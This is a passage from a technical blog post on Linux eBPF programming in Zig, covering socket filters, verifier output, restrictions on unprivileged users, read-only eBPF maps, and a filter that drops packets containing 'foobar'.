</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> verifier_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> log <span style="color:#00d3d0">=</span> BPF.Log{ .buf <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>verifier_log, .level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">2</span> };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">prog_load</span>(.socket_filter, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#00d3d0">&amp;</span>log, <span style="color:#79a8ff">&#34;GPL v2&#34;</span><sup id="fnref:2"><a class="footnote-ref" href="#fn:2" role="doc-noteref">2</a></sup>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;BPF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>verifier_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> socks<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]linux.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">socketpair</span>(AF.UNIX, SOCK.DGRAM, <span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>socks))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">setsockopt</span>(socks[<span style="color:#00bcff">0</span>], SOL.SOCKET, SO.ATTACH_BPF, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>progfd), <span style="color:#00bcff">4</span>))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> input <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;Hello&#34;</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(socks[<span style="color:#00bcff">1</span>], input);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [input.len]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> n_read <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(socks[<span style="color:#00bcff">0</span>], <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Sent &#39;{s}&#39;, received &#39;{s}&#39;&#34;</span>, .{ input, buf[<span style="color:#00bcff">0</span>..n_read] });
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>BPF Verifier output:
</span></span><span style="display:flex;"><span>func#0 @0
</span></span><span style="display:flex;"><span>Live regs before insn:
</span></span><span style="display:flex;"><span>      0: .......... (b7) r0 = 4
</span></span><span style="display:flex;"><span>      1: 0......... (95) exit
</span></span><span style="display:flex;"><span>0: R1=ctx() R10=fp0
</span></span><span style="display:flex;"><span>0: (b7) r0 = 4                        ; R0=4
</span></span><span style="display:flex;"><span>1: (95) exit
</span></span><span style="display:flex;"><span>processed 2 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0
</span></span><span style="display:flex;"><span>info: Sent &#39;Hello&#39;, received &#39;Hell&#39;</span></span></code></pre></div>

<div aria-hidden="true" style="display:none">
<!--[^fn:2]-->
<img src="https://feyor.sh/" alt=""></div>
<p>A socket filter is the OG type of eBPF program (and the namesake for BPF), but in addition to high performance packet filtering, eBPF can be used for syscall tracing, perf counter monitoring, security policy enforcement, and everything in between (<code>BPF_PROG_TYPE_XDP</code> programs can even be offloaded to run directly on the NIC, bypassing the kernel entirely<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>).</p>
<p>Now is a good time to mention that there are many restrictions on how unprivileged users (i.e. processes without <code>CAP_SYS_ADMIN</code> or <code>CAP_BPF</code>) can interact with eBPF—as there should be, because a verified eBPF program runs with more or less the same privileges as a kernel module.
The restrictions that I know of (not exhaustive) are as follows:</p>
<ul>
<li>Programs are limited to 4096 instructions</li>
<li>There are <a href="https://elixir.bootlin.com/linux/v6.18.6/source/include/linux/bpf_types.h">79</a> types of eBPF programs<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>, but regular users are only allowed to use socket filters and cgroup socket buffers
<ul>
<li>Even for processes with <code>CAP_BPF</code>, many program types are gated behind <a href="https://elixir.bootlin.com/linux/v6.18.6/source/kernel/bpf/syscall.c#L2775"><code>CAP_NET_ADMIN</code></a> and/or <a href="https://elixir.bootlin.com/linux/v6.18.6/source/kernel/bpf/syscall.c#L2806"><code>CAP_PERFMON</code></a></li>
</ul>
</li>
<li>No subprograms (i.e. <kbd>static</kbd> functions)</li>
<li>No back edges (and consequently no loops)</li>
<li>No <a href="https://docs.ebpf.io/linux/concepts/kfuncs/">KFuncs</a></li>
<li><a href="https://elixir.bootlin.com/linux/v6.18.6/source/kernel/bpf/helpers.c#L1988">Most</a> eBPF helpers are off-limits</li>
<li>Sanitation
<ul>
<li>Arithmetic with constant values in registers is changed to use those constants directly (ALU sanitation)<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></li>
<li>Dead code is turned into <kbd>ja -1</kbd> to force either an infinite loop or exit instead of potentially executing beyond the bounds of the program</li>
</ul>
</li>
</ul>
<p>Clearly a lot of the more interesting stuff is beyond the reach of unprivileged users, so I will henceforth be assuming that our process has <code>CAP_BPF</code>, <code>CAP_NET_ADMIN</code> and <code>CAP_PERFMON</code> (although not root).</p>
<h2 id="passing-data-between-kernel-and-user-space">Passing data between kernel and user space</h2>
<p>eBPF maps are data structures used for sharing data between eBPF programs and user space (or other eBPF programs).
Contrary to the name, there are more types of eBPF maps than just hashmaps, and eBPF maps are also used for other purposes like storing string constants.</p>
<p>To demonstrate usage of eBPF maps, let&rsquo;s write a simple eBPF program that drops a packet if it contains the substring &ldquo;foobar&rdquo;.</p>
<p>The <kbd>strncmp</kbd> helper function looks like it could be useful, but it&rsquo;s a little unclear what the eBPF equivalent of a <span class="inline-src language-c" data-lang="c"><code>char *</code></span> is.
Let&rsquo;s check the source:</p>





  
  
    

  
  
    









<details open>
  
  <summary><div class="named-src">
      <span>C</span>
      <span><a href="https://elixir.bootlin.com/linux/v6.18.6/source/kernel/bpf/helpers.c#L584-L591">bpf/helpers.c</a></span>
    </div>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">584
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">585
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">586
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">587
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">588
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">589
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">590
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">591
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#b6a0ff">static</span> <span style="color:#b6a0ff">const</span> <span style="color:#b6a0ff">struct</span> bpf_func_proto bpf_strncmp_proto <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>	.func       <span style="color:#00d3d0">=</span> bpf_strncmp,
</span></span><span style="display:flex;"><span>	.gpl_only   <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">false</span>,
</span></span><span style="display:flex;"><span>	.ret_type   <span style="color:#00d3d0">=</span> RET_INTEGER,
</span></span><span style="display:flex;"><span>	.arg1_type  <span style="color:#00d3d0">=</span> ARG_PTR_TO_MEM <span style="color:#00d3d0">|</span> MEM_RDONLY,
</span></span><span style="display:flex;"><span>	.arg2_type  <span style="color:#00d3d0">=</span> ARG_CONST_SIZE,
</span></span><span style="display:flex;"><span>	.arg3_type  <span style="color:#00d3d0">=</span> ARG_PTR_TO_CONST_STR,
</span></span><span style="display:flex;"><span>};</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>Arguments 1 and 2 are self-explanatory, but what about argument 3?
Further inspection reveals that <code>ARG_PTR_TO_CONST_STR</code> is checked by the function <kbd>check_reg_const_str</kbd>, which ensures that a register points to an element (a null-terminated string) of a read-only eBPF map.</p>
<p>Here&rsquo;s how we&rsquo;ll create such a map:</p>
<p><a id="code-snippet--ebpf-string-map"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">bpfStringMap</span>(str<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span>posix.fd_t {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .map_create <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(BPF.MapCreateAttr),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    attr.map_create.map_type <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(BPF.MapType.array);
</span></span><span style="display:flex;"><span>    attr.map_create.key_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>);
</span></span><span style="display:flex;"><span>    attr.map_create.value_size <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">u64</span>);
</span></span><span style="display:flex;"><span>    attr.map_create.max_entries <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// make this map read-only from the ebpf program
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    attr.map_create.map_flags <span style="color:#00d3d0">=</span> BPF.BPF_F_RDONLY_PROG;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> rc <span style="color:#00d3d0">=</span> linux.<span style="color:#feacd0">bpf</span>(.map_create, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.MapCreateAttr));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd<span style="color:#00d3d0">:</span> posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(rc)) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> <span style="color:#f78fe7">@intCast</span>(rc),
</span></span><span style="display:flex;"><span>        .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.MapTypeOrAttrInvalid,
</span></span><span style="display:flex;"><span>        .NOMEM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.SystemResources,
</span></span><span style="display:flex;"><span>        .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AccessDenied,
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_update_elem</span>(fd, <span style="color:#00d3d0">&amp;</span>std.mem.<span style="color:#feacd0">toBytes</span>(<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#00bcff">0</span>)), str, BPF.ANY);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .map_elem <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(BPF.MapElemAttr),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    attr.map_elem.map_fd <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// make this map read-only from userspace
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">try</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">bpf</span>(.map_freeze, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.MapElemAttr)))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> fd;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>

<p>Now we can iterate over the packet data one byte at a time, returning <code>DROP</code> if <kbd>strncmp</kbd> returns 0.</p>
<p><a id="code-snippet--ebpf-foobar"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> SK <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">enum</span>(<span style="color:#6ae4b9">i32</span>) {
</span></span><span style="display:flex;"><span>    DROP <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    PASS,
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> mapfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">bpfStringMap</span>(<span style="color:#79a8ff">&#34;foobar&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> insns <span style="color:#00d3d0">=</span> [_]BPF.Insn{
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r6, .r1),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">stx</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>, .r1),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">st</span>(.double_word, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// return if packet_len &lt; 6 bytes
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">ldx</span>(.double_word, .r1, .r10, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ldx</span>(.word, .r7, .r1, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jge, .r7, <span style="color:#00bcff">6</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.PASS)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// load &#34;foobar&#34; into r9
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">ld_map_fd1</span>(.r1, mapfd),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">ld_map_fd2</span>(mapfd),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r2, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r2, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">call</span>(.map_lookup_elem),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.DROP)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r9, .r0),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// begin checking for &#34;foobar&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">mov</span>(.r8, <span style="color:#00bcff">0</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r1, .r6),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r2, .r8),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r3, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r3, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r4, <span style="color:#00bcff">6</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">call</span>(.skb_load_bytes),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jlt, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">10</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// drop packet if it contains &#34;foobar&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .<span style="color:#feacd0">mov</span>(.r1, .r10),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r1, <span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r2, <span style="color:#00bcff">6</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r3, .r9),
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// bug in Zig std, call helper manually
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#a8a8a8">// .call(.strncmp),
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    .{
</span></span><span style="display:flex;"><span>        .code <span style="color:#00d3d0">=</span> BPF.CALL <span style="color:#00d3d0">|</span> BPF.JMP,
</span></span><span style="display:flex;"><span>        .dst <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .src <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .off <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        .imm <span style="color:#00d3d0">=</span> <span style="color:#00bcff">182</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jne, .r0, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">2</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.DROP)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">add</span>(.r8, <span style="color:#00bcff">1</span>),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">jmp</span>(.jlt, .r8, <span style="color:#00bcff">0x200</span>, <span style="color:#00d3d0">-</span><span style="color:#00bcff">17</span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">mov</span>(.r0, <span style="color:#f78fe7">@intFromEnum</span>(SK.PASS)),
</span></span><span style="display:flex;"><span>    .<span style="color:#feacd0">exit</span>(),
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> verifier_log<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">0x10000</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> log <span style="color:#00d3d0">=</span> BPF.Log{ .buf <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>verifier_log, .level <span style="color:#00d3d0">=</span> <span style="color:#00bcff">4</span> };
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">errdefer</span> std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;BPF Verifier output:</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">{s}&#34;</span>, .{std.mem.<span style="color:#feacd0">sliceTo</span>(<span style="color:#00d3d0">&amp;</span>verifier_log, <span style="color:#00bcff">0</span>)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> progfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">prog_load</span>(.sk_skb, <span style="color:#00d3d0">&amp;</span>insns, <span style="color:#00d3d0">&amp;</span>log, <span style="color:#79a8ff">&#34;GPL v2&#34;</span>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> sockmapfd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> BPF.<span style="color:#feacd0">map_create</span>(.sockmap, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#6ae4b9">i32</span>), <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> attr <span style="color:#00d3d0">=</span> BPF.Attr{
</span></span><span style="display:flex;"><span>        .prog_attach <span style="color:#00d3d0">=</span> .{
</span></span><span style="display:flex;"><span>            .target_fd <span style="color:#00d3d0">=</span> sockmapfd,
</span></span><span style="display:flex;"><span>            .attach_bpf_fd <span style="color:#00d3d0">=</span> progfd,
</span></span><span style="display:flex;"><span>            .attach_type <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@intFromEnum</span>(BPF.AttachType.sk_skb_stream_verdict),
</span></span><span style="display:flex;"><span>            .attach_flags <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>            .replace_bpf_fd <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">bpf</span>(.prog_attach, <span style="color:#00d3d0">&amp;</span>attr, <span style="color:#f78fe7">@sizeOf</span>(BPF.ProgAttachAttr)))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        .ACCES <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.UnsafeProgram,
</span></span><span style="display:flex;"><span>        .FAULT <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">unreachable</span>,
</span></span><span style="display:flex;"><span>        .INVAL <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.InvalidProgram,
</span></span><span style="display:flex;"><span>        .PERM <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">error</span>.PermissionDenied,
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(err),
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> socks<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">2</span>]linux.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">socketpair</span>(AF.UNIX, SOCK.DGRAM <span style="color:#00d3d0">|</span> SOCK.NONBLOCK, <span style="color:#00bcff">0</span>, <span style="color:#00d3d0">&amp;</span>socks))) {
</span></span><span style="display:flex;"><span>    .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#00d3d0">|</span>e<span style="color:#00d3d0">|</span> <span style="color:#b6a0ff">return</span> posix.<span style="color:#feacd0">unexpectedErrno</span>(e),
</span></span><span style="display:flex;"><span>}
